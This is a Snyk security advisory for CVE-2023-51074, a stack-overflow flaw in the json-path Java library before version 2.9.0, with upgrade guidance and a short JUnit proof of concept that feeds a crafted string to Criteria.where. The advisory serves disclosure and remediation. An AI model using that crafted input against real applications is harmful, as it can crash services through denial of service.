Buffer Overflow Affecting com.jayway.jsonpath:json-path package, versions [,2.9.0)


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (24th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-COMJAYWAYJSONPATH-6140361
  • published21 Jan 2024
  • disclosed27 Dec 2023
  • creditPoppingSnack

Introduced: 27 Dec 2023

CVE-2023-51074  (opens in a new tab)
CWE-120  (opens in a new tab)

How to fix?

Upgrade com.jayway.jsonpath:json-path to version 2.9.0 or higher.

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the deprecated Criteria.parse or Criteria.where methods. An attacker can disrupt the regular operation of the application by supplying a specially crafted input that triggers a stack overflow. Exploiting this vulnerability requires insecure configurations on the server side, for example - handling requests in a one single thread.

PoC

import com.jayway.jsonpath.Criteria;
import org.junit.Test;
public class CriteriaFuzzerWhere1 {
    // Stack overflow
    @Test
    public void whereFuzzerTest() {
        try {
            Criteria result = Criteria.where("[']',");
        } catch (Exception e) {
        }
    }
}

CVSS Scores

version 3.1